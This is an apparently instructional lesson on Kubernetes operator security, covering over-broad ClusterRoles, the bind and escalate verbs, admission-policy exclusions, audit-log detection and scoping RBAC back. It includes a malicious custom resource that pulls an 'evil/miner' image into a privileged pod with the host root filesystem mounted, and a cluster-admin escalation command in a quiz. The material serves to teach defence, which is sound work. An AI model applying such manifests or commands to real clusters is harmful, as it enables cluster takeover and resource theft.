CoursesKubernetes attack & defenseOperator & controller security

Operator & controller security

Privileged automation as a supply-chain dependency.

Expert35 min · lesson 12 of 15

Install one operator from a Helm chart and you might have just handed a stranger the power to do anything, anywhere, in your cluster. Most teams never read the permissions that shipped with it. You run the install, the pods go green, and you move on to the next ticket.

Think about hiring a contractor to fix a leaky tap in apartment 3B. The job needs one key to one room. Instead the building manager hands over the master key to every unit in the block, plus the combination to the front-desk safe. If that contractor is careless, or their toolbag gets stolen, every apartment is exposed. That's the bargain you strike with a lot of operators.

An operator is a small program that runs inside the cluster and watches for a kind of object you invent. The schema for that object is a CRD (Custom Resource Definition), and each object you create from it is a custom resource, or CR. The operator runs a loop: read the desired state from those objects, compare it to what's actually running, and make changes until the two match. A thermostat works the same way. It reads the number you set, checks the room, and switches the heating until they agree. The operator's version of switching the heating is calling the Kubernetes API, and it usually holds broad permission to do so.

Why one operator is a master key

To reconcile the things it manages, an operator needs a service account (SA, the identity a pod logs in as) tied to a ClusterRole through RBAC (Role-Based Access Control, the rules for who may do what). That much is fair. The trouble is scope. A chart author can't know which resources you'll point the operator at, so many charts request everything, and a wildcard verb on a wildcard resource is the default that never breaks a demo. From there, two things go wrong. Someone pops the operator's pod and steals its token, or someone allowed to create the operator's custom resources feeds it a poisoned one. Either way the attacker borrows the operator's reach without earning it.

Start by finding which ClusterRole the operator's identity actually gets.

find-operator-bindings.sh
$ kubectl get clusterrolebinding -o json \
| jq -r '.items[]
| select(any(.subjects[]?;
.kind=="ServiceAccount" and .name=="platform-operator"))
| "\(.metadata.name) -> \(.roleRef.kind)/\(.roleRef.name)"'
platform-operator-manager -> ClusterRole/platform-operator

That names the role, though the query is a first pass rather than the whole answer. It reads only ClusterRoleBindings, and it matches subjects by name alone, so a platform-operator service account living in some other namespace shows up as a false hit. A RoleBinding that points at a ClusterRole, or a grant that arrives through a group the account belongs to, never shows up at all. When you want the complete picture, kubectl auth can-i --list --as=system:serviceaccount:platform-system:platform-operator answers for every binding at once. Now read what this role grants.

read-clusterrole.sh
$ kubectl get clusterrole platform-operator -o yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: platform-operator
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles", "clusterrolebindings"]
verbs: ["create", "bind", "escalate"]

Two red flags, though the first one already swallows the second. The first rule is the master key: every verb on every resource in every API group. That covers reading every Secret in the cluster, deleting nodes, and starting pods in any namespace. Because every resource includes clusterroles and clusterrolebindings, and every verb includes bind and escalate, the second rule grants nothing the first hasn't already given away. Learn to spot it anyway, because plenty of charts ask for it on its own, with no wildcard above it. Kubernetes normally refuses to let you grant permissions you don't already hold, which is why a limited account can't just bind itself to cluster-admin. Two verbs are the official exceptions, and they are checked in different places. bind is checked against the role your new binding points at, so bind on cluster-admin lets you hand cluster-admin to anybody. escalate has nothing to do with bindings: it is checked against the role you are writing, and it lets you put permissions into a Role or ClusterRole that you do not hold yourself. Both are only meaningful on roles and clusterroles. The rule above also lists them against clusterrolebindings, where they do nothing at all, which is usually a sign the chart author was copying rather than thinking. That leaves three ways up: bind a role you are not entitled to, write yourself a fatter one with escalate, or already hold every permission you are handing out. The wildcard hands the operator all three. A compromised operator with it doesn't need a clever exploit. It writes itself a cluster-admin binding and settles in.

The malicious custom resource

The stolen-token path is obvious once you've seen the RBAC. The custom-resource path is subtler, because it breaks nothing. Whatever a developer writes into a CR becomes input to privileged code. If the operator copies fields out of the CR and into a Deployment it creates, then whoever can write those CRs decides what the operator builds. One detail gets overlooked. To stop reconcile loops from being blocked, admins routinely exempt the operator from the admission policies that would otherwise reject a privileged pod. Kyverno lets you do that by identity, excluding the operator's service account by name. Gatekeeper's built-in exemptions are namespace-scoped instead, so there the usual move is to exempt the namespace the operator writes into, or to hand-write a check on the requesting username into the Rego. Either way the operator ends up trusted, and everything it creates inherits that trust.

malicious-tenantconfig.yaml
apiVersion: platform.example.com/v1
kind: TenantConfig
metadata:
name: analytics
namespace: dev-team-a # a namespace the attacker CAN write to
spec:
workload:
image: ghcr.io/evil/miner:latest
hostPID: true
privileged: true
hostPath: / # mount the node's root filesystem

Apply it as a low-privilege developer and watch where the pod lands.

apply-attack.sh
$ kubectl apply -f malicious-tenantconfig.yaml
tenantconfig.platform.example.com/analytics created
$ kubectl get pod -n platform-system -l tenant=analytics \
-o jsonpath='{.items[0].spec.containers[0].securityContext.privileged}'
true

The developer could only write into dev-team-a. The operator, acting on that CR, built a privileged pod in platform-system, scheduled on a node with the host's root disk mounted, and admission let it through because the operator's SA sits on the allow-list. The attacker never touched platform-system directly. The operator did it for them.

The exclusion list leaks the operator's trust
When a reconcile loop starts getting blocked by admission policy, the quick fix everyone reaches for is to add the operator to the policy's exclusions, whether by naming its service account or by exempting the namespace it writes into. That exclusion covers everything the operator creates, not just the operator's own pod. So any privileged workload it builds from a custom resource sails straight through the same policy that would have rejected it from a normal user. Scope the exclusion to the exact resources and namespaces the operator legitimately manages, or write the policy to inspect what the operator produces instead of trusting it by name.

Detect, then scope it back

Both attacks surface in the same place: the API server's audit log, which stamps every request with the identity behind it. The operator's service account has a fixed name, so alert when it does something no operator should. Creating ClusterRoleBindings. Launching privileged pods. Reading Secrets in namespaces it doesn't manage.

detect-privileged-by-operator.sh
$ jq 'select(.user.username=="system:serviceaccount:platform-system:platform-operator"
and .objectRef.resource=="pods"
and .verb=="create"
and any(.requestObject.spec.containers[]?;
.securityContext.privileged==true))
| {ts:.requestReceivedTimestamp, verb, ns:.objectRef.namespace}' \
/var/log/kubernetes/audit.log
{
"ts": "2026-07-16T10:22:41Z",
"verb": "create",
"ns": "platform-system"
}

A privileged pod created by the operator's identity is the signal, but an empty result here is not proof of a quiet cluster. Reading securityContext means reading requestObject, and that field only exists if your audit policy records pods at Request or RequestResponse level. At Metadata level, which is what several managed control planes emit until you change it, the field is absent, the ? in the query swallows the error, and nothing prints. Check the policy before you believe the silence, and check where your own API server writes its log: that path is set per cluster, and the one above is only a common choice.

To catch this as it happens rather than at query time, point the API server's audit webhook at Falco and match the same fields with its k8saudit plugin. Falco's ordinary syscall rules cannot do it on their own. They see a privileged container starting on a node, but the name system:serviceaccount:platform-system:platform-operator exists only in the API server's record of the request, so the audit stream still has to reach Falco somehow.

The fix is the dull one that actually holds. Give the operator precisely the rules it needs and nothing more. Read its docs or its reconcile code, list the resources it truly touches, and write a ClusterRole around that exact set. No wildcards. Nothing from the rbac.authorization.k8s.io group unless managing RBAC is genuinely the operator's job.

scoped-operator-clusterrole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: platform-operator
rules:
- apiGroups: ["platform.example.com"]
resources: ["tenantconfigs", "tenantconfigs/status"]
verbs: ["get", "list", "watch", "update", "patch"]
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["events"]
verbs: ["create", "patch"]

Then prove the door is shut with kubectl auth can-i, impersonating the operator's account so you test its real permissions and not your own.

verify-scope.sh
$ kubectl apply -f scoped-operator-clusterrole.yaml
clusterrole.rbac.authorization.k8s.io/platform-operator configured
$ kubectl auth can-i create clusterrolebindings \
--as=system:serviceaccount:platform-system:platform-operator
no
$ kubectl auth can-i get secrets --all-namespaces \
--as=system:serviceaccount:platform-system:platform-operator
no
$ kubectl auth can-i update deployments \
--as=system:serviceaccount:platform-system:platform-operator
yes
Auditing an operator's ClusterRole
Read the operator's ClusterRole before you trust it
kubectl get clusterrole <op> -o yaml
* verbs on * resources (or cluster-admin)
Reject or rewrite: scope to the CRDs and resources it actually reconciles
Blast radius is the whole cluster; one bug owns everything
bind / escalate on roles or clusterroles
Remove it unless managing RBAC is genuinely the operator's job
It can promote itself to cluster-admin at will
get/list secrets across all namespaces
Restrict to the namespaces it owns, or drop the rule entirely
A single compromise leaks every credential in the cluster
only its own apiGroup plus the resources it builds
Acceptable: pin the image by digest, run non-root, keep auditing
Scope matches the job; borrowed reach is small

Try this

Build the mistake yourself on a kind cluster you can delete afterwards, no operator required. Create a namespace and a service account with kubectl create ns demo and kubectl create sa op -n demo, bind it straight to cluster-admin with kubectl create clusterrolebinding wide --clusterrole=cluster-admin --serviceaccount=demo:op, then confirm the damage: kubectl auth can-i get secrets --all-namespaces --as=system:serviceaccount:demo:op prints yes. Now do the clean-up badly on purpose. Write a scoped ClusterRole like the one above, apply it, bind it with a second ClusterRoleBinding, and leave the wide binding in place. Run the same auth can-i again. It still says yes, and it will keep saying yes until you delete wide, which is why the audit in this lesson starts at the bindings rather than at the role. Delete it and watch the answer flip to no.

Takeaway

Read the ClusterRole before you install the operator, not after something goes wrong. A wildcard verb on a wildcard resource is the default that never breaks a demo, which is why so many charts ship one, and why a single compromised controller can read every Secret you own. Write the rules the operator actually reconciles, then check your work by impersonating its service account with kubectl auth can-i, because that is the only answer that accounts for every binding still pointing at it.

Quick check
01An operator's ClusterRole grants create on clusterrolebindings, but not bind or escalate, and none of its other rules include cluster-admin's permissions. A compromised operator pod runs kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=platform-system:platform-operator. What happens?
Incorrect — No. Create lets you make the object, but binding a role you don't already hold is exactly what RBAC's escalation check blocks.
Correct — To bind a role you must already have all of its permissions or hold the bind verb on it. With neither, the request is denied even though create is allowed.
Incorrect — No. RBAC checks the service account's permissions, not the pod's Linux user or whether it runs as root.
Incorrect — No. Kubernetes doesn't create inert bindings; the request is either authorized and applied or rejected outright.
02The platform-operator's reconcile loop kept getting blocked by Kyverno, so an admin put its service account on the policy exclusion list. A developer who can only write TenantConfigs in dev-team-a then submits one with privileged: true. What does that exclusion actually cover?
Incorrect — No. The exclusion is keyed on the identity doing the creating, and the operator is the creator of that workload too, so the pod it assembles inherits the same exemption.
Incorrect — Half right in general, wrong here. Gatekeeper's built-in exemptions really are namespace-scoped, so that instinct is worth having. But Kyverno excludes subjects by name, and naming the operator's service account is exactly what the admin in this scenario did.
Correct — The policy trusts the operator by name, so the pod it assembles from that TenantConfig is admitted for the same reason the operator's own pod is. The developer never needed any permission in platform-system. The operator carried the request across on their behalf.
Incorrect — No. They are separate gates: RBAC decides whether the operator may create the workload at all, admission decides whether that specific object's settings are allowed. A tight ClusterRole still lets the operator create deployments, and the exclusion is what lets a privileged one through.
03You replace the operator's ClusterRole with the scoped version and it applies cleanly. Then kubectl auth can-i get secrets --all-namespaces --as=system:serviceaccount:platform-system:platform-operator still prints yes. What do you do next?
Incorrect — No. The API server evaluates RBAC on every request, and auth can-i is asking the API server right now, so nothing about that answer is sitting in the pod waiting to be refreshed.
Incorrect — No, that inverts it. Without --as you are testing your own permissions, which is the exact mistake impersonation is there to avoid.
Incorrect — No. Admission policy and RBAC are different gates, and the exclusion list widens the operator's trust instead of narrowing it, which is the opposite of what a yes here is asking for.
Correct — The identity ends up with whatever every binding that names it grants, so one leftover binding to the old wildcard role keeps the answer at yes no matter how tidy the new ClusterRole looks. Start with the ClusterRoleBinding query, then widen it, because a RoleBinding pointing at a ClusterRole or a group the account belongs to will not show up there.

Related